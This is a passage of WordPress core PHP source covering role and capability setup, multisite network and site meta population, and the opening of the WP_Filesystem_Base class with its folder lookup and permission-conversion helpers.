	$wpdb->query( "DELETE FROM $wpdb->options WHERE option_name REGEXP '^rss_[0-9a-f]{32}(_ts)?$'" );

	// Clear expired transients.
	delete_expired_transients( true );
}

/**
 * Execute WordPress role creation for the various WordPress versions.
 *
 * @since 2.0.0
 */
function populate_roles() {
	populate_roles_160();
	populate_roles_210();
	populate_roles_230();
	populate_roles_250();
	populate_roles_260();
	populate_roles_270();
	populate_roles_280();
	populate_roles_300();
}

/**
 * Create the roles for WordPress 2.0
 *
 * @since 2.0.0
 */
function populate_roles_160() {
	// Add roles.
	add_role( 'administrator', 'Administrator' );
	add_role( 'editor', 'Editor' );
	add_role( 'author', 'Author' );
	add_role( 'contributor', 'Contributor' );
	add_role( 'subscriber', 'Subscriber' );

	// Add caps for Administrator role.
	$role = get_role( 'administrator' );
	$role->add_cap( 'switch_themes' );
	$role->add_cap( 'edit_themes' );
	$role->add_cap( 'activate_plugins' );
	$role->add_cap( 'edit_plugins' );
	$role->add_cap( 'edit_users' );
	$role->add_cap( 'edit_files' );
	$role->add_cap( 'manage_options' );
	$role->add_cap( 'moderate_comments' );
	$role->add_cap( 'manage_categories' );
	$role->add_cap( 'manage_links' );
	$role->add_cap( 'upload_files' );
	$role->add_cap( 'import' );
	$role->add_cap( 'unfiltered_html' );
	$role->add_cap( 'edit_posts' );
	$role->add_cap( 'edit_others_posts' );
	$role->add_cap( 'edit_published_posts' );
	$role->add_cap( 'publish_posts' );
	$role->add_cap( 'edit_pages' );
	$role->add_cap( 'read' );
	$role->add_cap( 'level_10' );
	$role->add_cap( 'level_9' );
	$role->add_cap( 'level_8' );
	$role->add_cap( 'level_7' );
	$role->add_cap( 'level_6' );
	$role->add_cap( 'level_5' );
	$role->add_cap( 'level_4' );
	$role->add_cap( 'level_3' );
	$role->add_cap( 'level_2' );
	$role->add_cap( 'level_1' );
	$role->add_cap( 'level_0' );

	// Add caps for Editor role.
	$role = get_role( 'editor' );
	$role->add_cap( 'moderate_comments' );
	$role->add_cap( 'manage_categories' );
	$role->add_cap( 'manage_links' );
	$role->add_cap( 'upload_files' );
	$role->add_cap( 'unfiltered_html' );
	$role->add_cap( 'edit_posts' );
	$role->add_cap( 'edit_others_posts' );
	$role->add_cap( 'edit_published_posts' );
	$role->add_cap( 'publish_posts' );
	$role->add_cap( 'edit_pages' );
	$role->add_cap( 'read' );
	$role->add_cap( 'level_7' );
	$role->add_cap( 'level_6' );
	$role->add_cap( 'level_5' );
	$role->add_cap( 'level_4' );
	$role->add_cap( 'level_3' );
	$role->add_cap( 'level_2' );
	$role->add_cap( 'level_1' );
	$role->add_cap( 'level_0' );

	// Add caps for Author role.
	$role = get_role( 'author' );
	$role->add_cap( 'upload_files' );
	$role->add_cap( 'edit_posts' );
	$role->add_cap( 'edit_published_posts' );
	$role->add_cap( 'publish_posts' );
	$role->add_cap( 'read' );
	$role->add_cap( 'level_2' );
	$role->add_cap( 'level_1' );
	$role->add_cap( 'level_0' );

	// Add caps for Contributor role.
	$role = get_role( 'contributor' );
	$role->add_cap( 'edit_posts' );
	$role->add_cap( 'read' );
	$role->add_cap( 'level_1' );
	$role->add_cap( 'level_0' );

	// Add caps for Subscriber role.
	$role = get_role( 'subscriber' );
	$role->add_cap( 'read' );
	$role->add_cap( 'level_0' );
}

/**
 * Create and modify WordPress roles for WordPress 2.1.
 *
 * @since 2.1.0
 */
function populate_roles_210() {
	$roles = array( 'administrator', 'editor' );
	foreach ( $roles as $role ) {
		$role = get_role( $role );
		if ( empty( $role ) ) {
			continue;
		}

		$role->add_cap( 'edit_others_pages' );
		$role->add_cap( 'edit_published_pages' );
		$role->add_cap( 'publish_pages' );
		$role->add_cap( 'delete_pages' );
		$role->add_cap( 'delete_others_pages' );
		$role->add_cap( 'delete_published_pages' );
		$role->add_cap( 'delete_posts' );
		$role->add_cap( 'delete_others_posts' );
		$role->add_cap( 'delete_published_posts' );
		$role->add_cap( 'delete_private_posts' );
		$role->add_cap( 'edit_private_posts' );
		$role->add_cap( 'read_private_posts' );
		$role->add_cap( 'delete_private_pages' );
		$role->add_cap( 'edit_private_pages' );
		$role->add_cap( 'read_private_pages' );
	}

	$role = get_role( 'administrator' );
	if ( ! empty( $role ) ) {
		$role->add_cap( 'delete_users' );
		$role->add_cap( 'create_users' );
	}

	$role = get_role( 'author' );
	if ( ! empty( $role ) ) {
		$role->add_cap( 'delete_posts' );
		$role->add_cap( 'delete_published_posts' );
	}

	$role = get_role( 'contributor' );
	if ( ! empty( $role ) ) {
		$role->add_cap( 'delete_posts' );
	}
}

/**
 * Create and modify WordPress roles for WordPress 2.3.
 *
 * @since 2.3.0
 */
function populate_roles_230() {
	$role = get_role( 'administrator' );

	if ( ! empty( $role ) ) {
		$role->add_cap( 'unfiltered_upload' );
	}
}

/**
 * Create and modify WordPress roles for WordPress 2.5.
 *
 * @since 2.5.0
 */
function populate_roles_250() {
	$role = get_role( 'administrator' );

	if ( ! empty( $role ) ) {
		$role->add_cap( 'edit_dashboard' );
	}
}

/**
 * Create and modify WordPress roles for WordPress 2.6.
 *
 * @since 2.6.0
 */
function populate_roles_260() {
	$role = get_role( 'administrator' );

	if ( ! empty( $role ) ) {
		$role->add_cap( 'update_plugins' );
		$role->add_cap( 'delete_plugins' );
	}
}

/**
 * Create and modify WordPress roles for WordPress 2.7.
 *
 * @since 2.7.0
 */
function populate_roles_270() {
	$role = get_role( 'administrator' );

	if ( ! empty( $role ) ) {
		$role->add_cap( 'install_plugins' );
		$role->add_cap( 'update_themes' );
	}
}

/**
 * Create and modify WordPress roles for WordPress 2.8.
 *
 * @since 2.8.0
 */
function populate_roles_280() {
	$role = get_role( 'administrator' );

	if ( ! empty( $role ) ) {
		$role->add_cap( 'install_themes' );
	}
}

/**
 * Create and modify WordPress roles for WordPress 3.0.
 *
 * @since 3.0.0
 */
function populate_roles_300() {
	$role = get_role( 'administrator' );

	if ( ! empty( $role ) ) {
		$role->add_cap( 'update_core' );
		$role->add_cap( 'list_users' );
		$role->add_cap( 'remove_users' );
		$role->add_cap( 'promote_users' );
		$role->add_cap( 'edit_theme_options' );
		$role->add_cap( 'delete_themes' );
		$role->add_cap( 'export' );
	}
}

if ( ! function_exists( 'install_network' ) ) :
	/**
	 * Install Network.
	 *
	 * @since 3.0.0
	 */
	function install_network() {
		if ( ! defined( 'WP_INSTALLING_NETWORK' ) ) {
			define( 'WP_INSTALLING_NETWORK', true );
		}

		dbDelta( wp_get_db_schema( 'global' ) );
	}
endif;

/**
 * Populate network settings.
 *
 * @since 3.0.0
 *
 * @global wpdb       $wpdb         WordPress database abstraction object.
 * @global object     $current_site
 * @global WP_Rewrite $wp_rewrite   WordPress rewrite component.
 *
 * @param int    $network_id        ID of network to populate.
 * @param string $domain            The domain name for the network. Example: "example.com".
 * @param string $email             Email address for the network administrator.
 * @param string $site_name         The name of the network.
 * @param string $path              Optional. The path to append to the network's domain name. Default '/'.
 * @param bool   $subdomain_install Optional. Whether the network is a subdomain installation or a subdirectory installation.
 *                                  Default false, meaning the network is a subdirectory installation.
 * @return true|WP_Error True on success, or WP_Error on warning (with the installation otherwise successful,
 *                       so the error code must be checked) or failure.
 */
function populate_network( $network_id = 1, $domain = '', $email = '', $site_name = '', $path = '/', $subdomain_install = false ) {
	global $wpdb, $current_site, $wp_rewrite;

	$network_id = (int) $network_id;

	$errors = new WP_Error();
	if ( '' === $domain ) {
		$errors->add( 'empty_domain', __( 'You must provide a domain name.' ) );
	}
	if ( '' === $site_name ) {
		$errors->add( 'empty_sitename', __( 'You must provide a name for your network of sites.' ) );
	}

	// Check for network collision.
	$network_exists = false;
	if ( is_multisite() ) {
		if ( get_network( $network_id ) ) {
			$errors->add( 'siteid_exists', __( 'The network already exists.' ) );
		}
	} else {
		if ( $network_id === (int) $wpdb->get_var(
			$wpdb->prepare( "SELECT id FROM $wpdb->site WHERE id = %d", $network_id )
		) ) {
			$errors->add( 'siteid_exists', __( 'The network already exists.' ) );
		}
	}

	if ( ! is_email( $email ) ) {
		$errors->add( 'invalid_email', __( 'You must provide a valid email address.' ) );
	}

	if ( $errors->has_errors() ) {
		return $errors;
	}

	if ( 1 === $network_id ) {
		$wpdb->insert(
			$wpdb->site,
			array(
				'domain' => $domain,
				'path'   => $path,
			)
		);
		$network_id = $wpdb->insert_id;
	} else {
		$wpdb->insert(
			$wpdb->site,
			array(
				'domain' => $domain,
				'path'   => $path,
				'id'     => $network_id,
			)
		);
	}

	populate_network_meta(
		$network_id,
		array(
			'admin_email'       => $email,
			'site_name'         => $site_name,
			'subdomain_install' => $subdomain_install,
		)
	);

	/*
	 * When upgrading from single to multisite, assume the current site will
	 * become the main site of the network. When using populate_network()
	 * to create another network in an existing multisite environment, skip
	 * these steps since the main site of the new network has not yet been
	 * created.
	 */
	if ( ! is_multisite() ) {
		$current_site            = new stdClass();
		$current_site->domain    = $domain;
		$current_site->path      = $path;
		$current_site->site_name = ucfirst( $domain );
		$wpdb->insert(
			$wpdb->blogs,
			array(
				'site_id'    => $network_id,
				'blog_id'    => 1,
				'domain'     => $domain,
				'path'       => $path,
				'registered' => current_time( 'mysql' ),
			)
		);
		$current_site->blog_id = $wpdb->insert_id;

		$site_user_id = (int) $wpdb->get_var(
			$wpdb->prepare(
				"SELECT meta_value
				FROM $wpdb->sitemeta
				WHERE meta_key = %s AND site_id = %d",
				'admin_user_id',
				$network_id
			)
		);

		update_user_meta( $site_user_id, 'source_domain', $domain );
		update_user_meta( $site_user_id, 'primary_blog', $current_site->blog_id );

		// Unable to use update_network_option() while populating the network.
		$wpdb->insert(
			$wpdb->sitemeta,
			array(
				'site_id'    => $network_id,
				'meta_key'   => 'main_site',
				'meta_value' => $current_site->blog_id,
			)
		);

		if ( $subdomain_install ) {
			$wp_rewrite->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
		} else {
			$wp_rewrite->set_permalink_structure( '/blog/%year%/%monthnum%/%day%/%postname%/' );
		}

		flush_rewrite_rules();

		if ( ! $subdomain_install ) {
			return true;
		}

		$vhost_ok = false;
		$errstr   = '';
		$hostname = substr( md5( time() ), 0, 6 ) . '.' . $domain; // Very random hostname!
		$page     = wp_remote_get(
			'http://' . $hostname,
			array(
				'timeout'     => 5,
				'httpversion' => '1.1',
			)
		);
		if ( is_wp_error( $page ) ) {
			$errstr = $page->get_error_message();
		} elseif ( 200 === wp_remote_retrieve_response_code( $page ) ) {
				$vhost_ok = true;
		}

		if ( ! $vhost_ok ) {
			$msg = '<p><strong>' . __( 'Warning! Wildcard DNS may not be configured correctly!' ) . '</strong></p>';

			$msg .= '<p>' . sprintf(
				/* translators: %s: Host name. */
				__( 'The installer attempted to contact a random hostname (%s) on your domain.' ),
				'<code>' . $hostname . '</code>'
			);
			if ( ! empty( $errstr ) ) {
				/* translators: %s: Error message. */
				$msg .= ' ' . sprintf( __( 'This resulted in an error message: %s' ), '<code>' . $errstr . '</code>' );
			}
			$msg .= '</p>';

			$msg .= '<p>' . sprintf(
				/* translators: %s: Asterisk symbol (*). */
				__( 'To use a subdomain configuration, you must have a wildcard entry in your DNS. This usually means adding a %s hostname record pointing at your web server in your DNS configuration tool.' ),
				'<code>*</code>'
			) . '</p>';

			$msg .= '<p>' . __( 'You can still use your site but any subdomain you create may not be accessible. If you know your DNS is correct, ignore this message.' ) . '</p>';

			return new WP_Error( 'no_wildcard_dns', $msg );
		}
	}

	return true;
}

/**
 * Creates WordPress network meta and sets the default values.
 *
 * @since 5.1.0
 *
 * @global wpdb $wpdb          WordPress database abstraction object.
 * @global int  $wp_db_version WordPress database version.
 *
 * @param int   $network_id Network ID to populate meta for.
 * @param array $meta       Optional. Custom meta $key => $value pairs to use. Default empty array.
 */
function populate_network_meta( $network_id, array $meta = array() ) {
	global $wpdb, $wp_db_version;

	$network_id = (int) $network_id;

	$email             = ! empty( $meta['admin_email'] ) ? $meta['admin_email'] : '';
	$subdomain_install = isset( $meta['subdomain_install'] ) ? (int) $meta['subdomain_install'] : 0;

	// If a user with the provided email does not exist, default to the current user as the new network admin.
	$site_user = ! empty( $email ) ? get_user_by( 'email', $email ) : false;
	if ( false === $site_user ) {
		$site_user = wp_get_current_user();
	}

	if ( empty( $email ) ) {
		$email = $site_user->user_email;
	}

	$template       = get_option( 'template' );
	$stylesheet     = get_option( 'stylesheet' );
	$allowed_themes = array( $stylesheet => true );

	if ( $template !== $stylesheet ) {
		$allowed_themes[ $template ] = true;
	}

	if ( WP_DEFAULT_THEME !== $stylesheet && WP_DEFAULT_THEME !== $template ) {
		$allowed_themes[ WP_DEFAULT_THEME ] = true;
	}

	// If WP_DEFAULT_THEME doesn't exist, also include the latest core default theme.
	if ( ! wp_get_theme( WP_DEFAULT_THEME )->exists() ) {
		$core_default = WP_Theme::get_core_default_theme();
		if ( $core_default ) {
			$allowed_themes[ $core_default->get_stylesheet() ] = true;
		}
	}

	if ( function_exists( 'clean_network_cache' ) ) {
		clean_network_cache( $network_id );
	} else {
		wp_cache_delete( $network_id, 'networks' );
	}

	if ( ! is_multisite() ) {
		$site_admins = array( $site_user->user_login );
		$users       = get_users(
			array(
				'fields' => array( 'user_login' ),
				'role'   => 'administrator',
			)
		);
		if ( $users ) {
			foreach ( $users as $user ) {
				$site_admins[] = $user->user_login;
			}

			$site_admins = array_unique( $site_admins );
		}
	} else {
		$site_admins = get_site_option( 'site_admins' );
	}

	/* translators: Do not translate USERNAME, SITE_NAME, BLOG_URL, PASSWORD: those are placeholders. */
	$welcome_email = __(
		'Howdy USERNAME,

Your new SITE_NAME site has been successfully set up at:
BLOG_URL

You can log in to the administrator account with the following information:

Username: USERNAME
Password: PASSWORD
Log in here: BLOG_URLwp-login.php

We hope you enjoy your new site. Thanks!

--The Team @ SITE_NAME'
	);

	$misc_exts        = array(
		// Images.
		'jpg',
		'jpeg',
		'png',
		'gif',
		'webp',
		'avif',
		// Video.
		'mov',
		'avi',
		'mpg',
		'3gp',
		'3g2',
		// "audio".
		'midi',
		'mid',
		// Miscellaneous.
		'pdf',
		'doc',
		'ppt',
		'odt',
		'pptx',
		'docx',
		'pps',
		'ppsx',
		'xls',
		'xlsx',
		'key',
	);
	$audio_exts       = wp_get_audio_extensions();
	$video_exts       = wp_get_video_extensions();
	$upload_filetypes = array_unique( array_merge( $misc_exts, $audio_exts, $video_exts ) );

	$sitemeta = array(
		'site_name'                   => __( 'My Network' ),
		'admin_email'                 => $email,
		'admin_user_id'               => $site_user->ID,
		'registration'                => 'none',
		'upload_filetypes'            => implode( ' ', $upload_filetypes ),
		'blog_upload_space'           => 100,
		'fileupload_maxk'             => 1500,
		'site_admins'                 => $site_admins,
		'allowedthemes'               => $allowed_themes,
		'illegal_names'               => array( 'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator', 'files' ),
		'wpmu_upgrade_site'           => $wp_db_version,
		'welcome_email'               => $welcome_email,
		/* translators: %s: Site link. */
		'first_post'                  => __( 'Welcome to %s. This is your first post. Edit or delete it, then start writing!' ),
		// @todo - Network admins should have a method of editing the network siteurl (used for cookie hash).
		'siteurl'                     => get_option( 'siteurl' ) . '/',
		'add_new_users'               => '0',
		'upload_space_check_disabled' => is_multisite() ? get_site_option( 'upload_space_check_disabled' ) : '1',
		'subdomain_install'           => $subdomain_install,
		'ms_files_rewriting'          => is_multisite() ? get_site_option( 'ms_files_rewriting' ) : '0',
		'user_count'                  => get_site_option( 'user_count' ),
		'initial_db_version'          => get_option( 'initial_db_version' ),
		'active_sitewide_plugins'     => array(),
		'WPLANG'                      => get_locale(),
	);
	if ( ! $subdomain_install ) {
		$sitemeta['illegal_names'][] = 'blog';
	}

	$sitemeta = wp_parse_args( $meta, $sitemeta );

	/**
	 * Filters meta for a network on creation.
	 *
	 * @since 3.7.0
	 *
	 * @param array $sitemeta   Associative array of network meta keys and values to be inserted.
	 * @param int   $network_id ID of network to populate.
	 */
	$sitemeta = apply_filters( 'populate_network_meta', $sitemeta, $network_id );

	$insert = '';
	foreach ( $sitemeta as $meta_key => $meta_value ) {
		if ( is_array( $meta_value ) ) {
			$meta_value = serialize( $meta_value );
		}
		if ( ! empty( $insert ) ) {
			$insert .= ', ';
		}
		$insert .= $wpdb->prepare( '( %d, %s, %s)', $network_id, $meta_key, $meta_value );
	}
	$wpdb->query( "INSERT INTO $wpdb->sitemeta ( site_id, meta_key, meta_value ) VALUES " . $insert ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
}

/**
 * Creates WordPress site meta and sets the default values.
 *
 * @since 5.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int   $site_id Site ID to populate meta for.
 * @param array $meta    Optional. Custom meta $key => $value pairs to use. Default empty array.
 */
function populate_site_meta( $site_id, array $meta = array() ) {
	global $wpdb;

	$site_id = (int) $site_id;

	if ( ! is_site_meta_supported() ) {
		return;
	}

	if ( empty( $meta ) ) {
		return;
	}

	/**
	 * Filters meta for a site on creation.
	 *
	 * @since 5.2.0
	 *
	 * @param array $meta    Associative array of site meta keys and values to be inserted.
	 * @param int   $site_id ID of site to populate.
	 */
	$site_meta = apply_filters( 'populate_site_meta', $meta, $site_id );

	$insert = '';
	foreach ( $site_meta as $meta_key => $meta_value ) {
		if ( is_array( $meta_value ) ) {
			$meta_value = serialize( $meta_value );
		}
		if ( ! empty( $insert ) ) {
			$insert .= ', ';
		}
		$insert .= $wpdb->prepare( '( %d, %s, %s)', $site_id, $meta_key, $meta_value );
	}

	$wpdb->query( "INSERT INTO $wpdb->blogmeta ( blog_id, meta_key, meta_value ) VALUES " . $insert ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared

	wp_cache_delete( $site_id, 'blog_meta' );
	wp_cache_set_sites_last_changed();
}
<?php
/**
 * Base WordPress Filesystem
 *
 * @package WordPress
 * @subpackage Filesystem
 */

/**
 * Base WordPress Filesystem class which Filesystem implementations extend.
 *
 * @since 2.5.0
 */
#[AllowDynamicProperties]
class WP_Filesystem_Base {

	/**
	 * Whether to display debug data for the connection.
	 *
	 * @since 2.5.0
	 * @var bool
	 */
	public $verbose = false;

	/**
	 * Cached list of local filepaths to mapped remote filepaths.
	 *
	 * @since 2.7.0
	 * @var array
	 */
	public $cache = array();

	/**
	 * The Access method of the current connection, Set automatically.
	 *
	 * @since 2.5.0
	 * @var string
	 */
	public $method = '';

	/**
	 * @var WP_Error
	 */
	public $errors = null;

	/**
	 */
	public $options = array();

	/**
	 * Returns the path on the remote filesystem of ABSPATH.
	 *
	 * @since 2.7.0
	 *
	 * @return string The location of the remote path.
	 */
	public function abspath() {
		$folder = $this->find_folder( ABSPATH );

		/*
		 * Perhaps the FTP folder is rooted at the WordPress install.
		 * Check for wp-includes folder in root. Could have some false positives, but rare.
		 */
		if ( ! $folder && $this->is_dir( '/' . WPINC ) ) {
			$folder = '/';
		}

		return $folder;
	}

	/**
	 * Returns the path on the remote filesystem of WP_CONTENT_DIR.
	 *
	 * @since 2.7.0
	 *
	 * @return string The location of the remote path.
	 */
	public function wp_content_dir() {
		return $this->find_folder( WP_CONTENT_DIR );
	}

	/**
	 * Returns the path on the remote filesystem of WP_PLUGIN_DIR.
	 *
	 * @since 2.7.0
	 *
	 * @return string The location of the remote path.
	 */
	public function wp_plugins_dir() {
		return $this->find_folder( WP_PLUGIN_DIR );
	}

	/**
	 * Returns the path on the remote filesystem of the Themes Directory.
	 *
	 * @since 2.7.0
	 *
	 * @param string|false $theme Optional. The theme stylesheet or template for the directory.
	 *                            Default false.
	 * @return string The location of the remote path.
	 */
	public function wp_themes_dir( $theme = false ) {
		$theme_root = get_theme_root( $theme );

		// Account for relative theme roots.
		if ( '/themes' === $theme_root || ! is_dir( $theme_root ) ) {
			$theme_root = WP_CONTENT_DIR . $theme_root;
		}

		return $this->find_folder( $theme_root );
	}

	/**
	 * Returns the path on the remote filesystem of WP_LANG_DIR.
	 *
	 * @since 3.2.0
	 *
	 * @return string The location of the remote path.
	 */
	public function wp_lang_dir() {
		return $this->find_folder( WP_LANG_DIR );
	}

	/**
	 * Locates a folder on the remote filesystem.
	 *
	 * @since 2.5.0
	 * @deprecated 2.7.0 use WP_Filesystem_Base::abspath() or WP_Filesystem_Base::wp_*_dir() instead.
	 * @see WP_Filesystem_Base::abspath()
	 * @see WP_Filesystem_Base::wp_content_dir()
	 * @see WP_Filesystem_Base::wp_plugins_dir()
	 * @see WP_Filesystem_Base::wp_themes_dir()
	 * @see WP_Filesystem_Base::wp_lang_dir()
	 *
	 * @param string $base    Optional. The folder to start searching from. Default '.'.
	 * @param bool   $verbose Optional. True to display debug information. Default false.
	 * @return string The location of the remote path.
	 */
	public function find_base_dir( $base = '.', $verbose = false ) {
		_deprecated_function( __FUNCTION__, '2.7.0', 'WP_Filesystem_Base::abspath() or WP_Filesystem_Base::wp_*_dir()' );
		$this->verbose = $verbose;
		return $this->abspath();
	}

	/**
	 * Locates a folder on the remote filesystem.
	 *
	 * @since 2.5.0
	 * @deprecated 2.7.0 use WP_Filesystem_Base::abspath() or WP_Filesystem_Base::wp_*_dir() methods instead.
	 * @see WP_Filesystem_Base::abspath()
	 * @see WP_Filesystem_Base::wp_content_dir()
	 * @see WP_Filesystem_Base::wp_plugins_dir()
	 * @see WP_Filesystem_Base::wp_themes_dir()
	 * @see WP_Filesystem_Base::wp_lang_dir()
	 *
	 * @param string $base    Optional. The folder to start searching from. Default '.'.
	 * @param bool   $verbose Optional. True to display debug information. Default false.
	 * @return string The location of the remote path.
	 */
	public function get_base_dir( $base = '.', $verbose = false ) {
		_deprecated_function( __FUNCTION__, '2.7.0', 'WP_Filesystem_Base::abspath() or WP_Filesystem_Base::wp_*_dir()' );
		$this->verbose = $verbose;
		return $this->abspath();
	}

	/**
	 * Locates a folder on the remote filesystem.
	 *
	 * Assumes that on Windows systems, Stripping off the Drive
	 * letter is OK Sanitizes \\ to / in Windows filepaths.
	 *
	 * @since 2.7.0
	 *
	 * @param string $folder the folder to locate.
	 * @return string|false The location of the remote path, false on failure.
	 */
	public function find_folder( $folder ) {
		if ( isset( $this->cache[ $folder ] ) ) {
			return $this->cache[ $folder ];
		}

		if ( stripos( $this->method, 'ftp' ) !== false ) {
			$constant_overrides = array(
				'FTP_BASE'        => ABSPATH,
				'FTP_CONTENT_DIR' => WP_CONTENT_DIR,
				'FTP_PLUGIN_DIR'  => WP_PLUGIN_DIR,
				'FTP_LANG_DIR'    => WP_LANG_DIR,
			);

			// Direct matches ( folder = CONSTANT/ ).
			foreach ( $constant_overrides as $constant => $dir ) {
				if ( ! defined( $constant ) ) {
					continue;
				}

				if ( $folder === $dir ) {
					return trailingslashit( constant( $constant ) );
				}
			}

			// Prefix matches ( folder = CONSTANT/subdir ),
			foreach ( $constant_overrides as $constant => $dir ) {
				if ( ! defined( $constant ) ) {
					continue;
				}

				if ( 0 === stripos( $folder, $dir ) ) { // $folder starts with $dir.
					$potential_folder = preg_replace( '#^' . preg_quote( $dir, '#' ) . '/#i', trailingslashit( constant( $constant ) ), $folder );
					$potential_folder = trailingslashit( $potential_folder );

					if ( $this->is_dir( $potential_folder ) ) {
						$this->cache[ $folder ] = $potential_folder;

						return $potential_folder;
					}
				}
			}
		} elseif ( 'direct' === $this->method ) {
			$folder = str_replace( '\\', '/', $folder ); // Windows path sanitization.

			return trailingslashit( $folder );
		}

		$folder = preg_replace( '|^([a-z]{1}):|i', '', $folder ); // Strip out Windows drive letter if it's there.
		$folder = str_replace( '\\', '/', $folder ); // Windows path sanitization.

		if ( isset( $this->cache[ $folder ] ) ) {
			return $this->cache[ $folder ];
		}

		if ( $this->exists( $folder ) ) { // Folder exists at that absolute path.
			$folder                 = trailingslashit( $folder );
			$this->cache[ $folder ] = $folder;

			return $folder;
		}

		$return = $this->search_for_folder( $folder );

		if ( $return ) {
			$this->cache[ $folder ] = $return;
		}

		return $return;
	}

	/**
	 * Locates a folder on the remote filesystem.
	 *
	 * Expects Windows sanitized path.
	 *
	 * @since 2.7.0
	 *
	 * @param string $folder The folder to locate.
	 * @param string $base   The folder to start searching from.
	 * @param bool   $loop   If the function has recursed. Internal use only.
	 * @return string|false The location of the remote path, false to cease looping.
	 */
	public function search_for_folder( $folder, $base = '.', $loop = false ) {
		if ( empty( $base ) || '.' === $base ) {
			$base = trailingslashit( $this->cwd() );
		}

		$folder = untrailingslashit( $folder );

		if ( $this->verbose ) {
			/* translators: 1: Folder to locate, 2: Folder to start searching from. */
			printf( "\n" . __( 'Looking for %1$s in %2$s' ) . "<br />\n", $folder, $base );
		}

		$folder_parts     = explode( '/', $folder );
		$folder_part_keys = array_keys( $folder_parts );
		$last_index       = array_pop( $folder_part_keys );
		$last_path        = $folder_parts[ $last_index ];

		$files = $this->dirlist( $base );

		foreach ( $folder_parts as $index => $key ) {
			if ( $index === $last_index ) {
				continue; // We want this to be caught by the next code block.
			}

			/*
			 * Working from /home/ to /user/ to /wordpress/ see if that file exists within
			 * the current folder, If it's found, change into it and follow through looking
			 * for it. If it can't find WordPress down that route, it'll continue onto the next
			 * folder level, and see if that matches, and so on. If it reaches the end, and still
			 * can't find it, it'll return false for the entire function.
			 */
			if ( isset( $files[ $key ] ) ) {

				// Let's try that folder:
				$newdir = trailingslashit( path_join( $base, $key ) );

				if ( $this->verbose ) {
					/* translators: %s: Directory name. */
					printf( "\n" . __( 'Changing to %s' ) . "<br />\n", $newdir );
				}

				// Only search for the remaining path tokens in the directory, not the full path again.
				$newfolder = implode( '/', array_slice( $folder_parts, $index + 1 ) );
				$ret       = $this->search_for_folder( $newfolder, $newdir, $loop );

				if ( $ret ) {
					return $ret;
				}
			}
		}

		/*
		 * Only check this as a last resort, to prevent locating the incorrect install.
		 * All above procedures will fail quickly if this is the right branch to take.
		 */
		if ( isset( $files[ $last_path ] ) ) {
			if ( $this->verbose ) {
				/* translators: %s: Directory name. */
				printf( "\n" . __( 'Found %s' ) . "<br />\n", $base . $last_path );
			}

			return trailingslashit( $base . $last_path );
		}

		/*
		 * Prevent this function from looping again.
		 * No need to proceed if we've just searched in `/`.
		 */
		if ( $loop || '/' === $base ) {
			return false;
		}

		/*
		 * As an extra last resort, Change back to / if the folder wasn't found.
		 * This comes into effect when the CWD is /home/user/ but WP is at /var/www/....
		 */
		return $this->search_for_folder( $folder, '/', true );
	}

	/**
	 * Returns the *nix-style file permissions for a file.
	 *
	 * From the PHP documentation page for fileperms().
	 *
	 * @link https://www.php.net/manual/en/function.fileperms.php
	 *
	 * @since 2.5.0
	 *
	 * @param string $file String filename.
	 * @return string The *nix-style representation of permissions.
	 */
	public function gethchmod( $file ) {
		$perms = intval( $this->getchmod( $file ), 8 );

		if ( ( $perms & 0xC000 ) === 0xC000 ) { // Socket.
			$info = 's';
		} elseif ( ( $perms & 0xA000 ) === 0xA000 ) { // Symbolic Link.
			$info = 'l';
		} elseif ( ( $perms & 0x8000 ) === 0x8000 ) { // Regular.
			$info = '-';
		} elseif ( ( $perms & 0x6000 ) === 0x6000 ) { // Block special.
			$info = 'b';
		} elseif ( ( $perms & 0x4000 ) === 0x4000 ) { // Directory.
			$info = 'd';
		} elseif ( ( $perms & 0x2000 ) === 0x2000 ) { // Character special.
			$info = 'c';
		} elseif ( ( $perms & 0x1000 ) === 0x1000 ) { // FIFO pipe.
			$info = 'p';
		} else { // Unknown.
			$info = 'u';
		}

		// Owner.
		$info .= ( ( $perms & 0x0100 ) ? 'r' : '-' );
		$info .= ( ( $perms & 0x0080 ) ? 'w' : '-' );
		$info .= ( ( $perms & 0x0040 ) ?
					( ( $perms & 0x0800 ) ? 's' : 'x' ) :
					( ( $perms & 0x0800 ) ? 'S' : '-' ) );

		// Group.
		$info .= ( ( $perms & 0x0020 ) ? 'r' : '-' );
		$info .= ( ( $perms & 0x0010 ) ? 'w' : '-' );
		$info .= ( ( $perms & 0x0008 ) ?
					( ( $perms & 0x0400 ) ? 's' : 'x' ) :
					( ( $perms & 0x0400 ) ? 'S' : '-' ) );

		// World.
		$info .= ( ( $perms & 0x0004 ) ? 'r' : '-' );
		$info .= ( ( $perms & 0x0002 ) ? 'w' : '-' );
		$info .= ( ( $perms & 0x0001 ) ?
					( ( $perms & 0x0200 ) ? 't' : 'x' ) :
					( ( $perms & 0x0200 ) ? 'T' : '-' ) );

		return $info;
	}

	/**
	 * Gets the permissions of the specified file or filepath in their octal format.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string Mode of the file (the last 3 digits).
	 */
	public function getchmod( $file ) {
		return '777';
	}

	/**
	 * Converts *nix-style file permissions to an octal number.
	 *
	 * Converts '-rw-r--r--' to 0644
	 * From "info at rvgate dot nl"'s comment on the PHP documentation for chmod()
	 *
	 * @link https://www.php.net/manual/en/function.chmod.php#49614
	 *
	 * @since 2.5.0
	 *
	 * @param string $mode string The *nix-style file permissions.
	 * @return string Octal representation of permissions.
	 */
	public function getnumchmodfromh( $mode ) {
		$realmode = '';
		$legal    = array( '', 'w', 'r', 'x', '-' );
		$attarray = preg_split( '//', $mode );

		for ( $i = 0, $c = count( $attarray ); $i < $c; $i++ ) {
			$key = array_search( $attarray[ $i ], $legal, true );

			if ( $key ) {
				$realmode .= $legal[ $key ];
			}
		}

		$mode  = str_pad( $realmode, 10, '-', STR_PAD_LEFT );
		$trans = array(
			'-' => '0',
			'r' => '4',
			'w' => '2',
			'x' => '1',
		);
		$mode  = strtr( $mode, $trans );

		$newmode  = $mode[0];
		$newmode .= $mode[1] + $mode[2] + $mode[3];
		$newmode .= $mode[4] + $mode[5] + $mode[6];
		$newmode .= $mode[7] + $mode[8] + $mode[9];

		return $newmode;
	}

	/**
	 * Determines if the string provided contains binary characters.
	 *
	 * @since 2.7.0
	 *
	 * @param string $text String to test against.
	 * @return bool True if string is binary, false otherwise.
	 */
	public function is_binary( $text ) {
